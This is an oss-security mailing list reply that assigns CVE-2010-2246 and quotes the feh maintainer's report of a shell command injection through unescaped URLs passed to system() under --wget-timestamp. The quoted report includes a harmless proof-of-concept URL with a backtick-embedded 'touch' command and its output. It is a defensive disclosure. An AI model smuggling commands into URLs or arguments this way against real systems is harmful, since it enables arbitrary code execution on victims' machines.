Date: Mon, 28 Jun 2010 16:12:58 -0400 (EDT) From: Josh Bressers <bressers@...hat.com> To: oss-security@...ts.openwall.com Cc: coley <coley@...re.org> Subject: Re: CVE request: feh Please use CVE-2010-2246 Thanks. -- JB ----- "Daniel Friesel" <derf@...osdorf.de> wrote: > Hi, > > there is an arbitrary code execution hole in feh versions <= 1.7 down > to at > least 1.3.4 (I didn't check earlier ones). > When the user uses feh to open a remote file (URL) and uses the > --wget-timestamp option, feh passe the unescaped URL to a system() > call. > > So if an attacker can trick the user into opening an image URL > containing > shell metacharacters with feh --wget-timestamp, he is able to execute > arbitrary shell code with the rights of the user executing feh. This > requires > the URL to resolve to an existing file, however. Obfuscating the shell > code > with HTTP escapes (like %20) does not seem to work, and a redirect > (via > tinyurl or similar) to a malicious URL will also have no effect. > > Example: > remnant /t/feh > ls > remnant /t/feh > feh --wget-timestamp > 'https://derf.homelinux.org/stuff/bar`touch lol_hax`.jpg' > /bin/cp: cannot stat `/tmp/feh_011422_bar.jpg': No such file or > directory > feh WARNING: /tmp/feh_011422_000001_bar`touch lol_hax`.jpg does not > exist - skipping > feh WARNING: /tmp/feh_011422_000001_bar`touch lol_hax`.jpg - File does > not exist > feh - No loadable images specified. > Use feh --help for detailed usage information > remnant /t/feh > ls > lol_hax > remnant /t/feh > > > This has been fixed in feh 1.8: > <https://derf.homelinux.org/projects/feh/changelog> > > Please assign a CVE. > > Thanks, > Daniel
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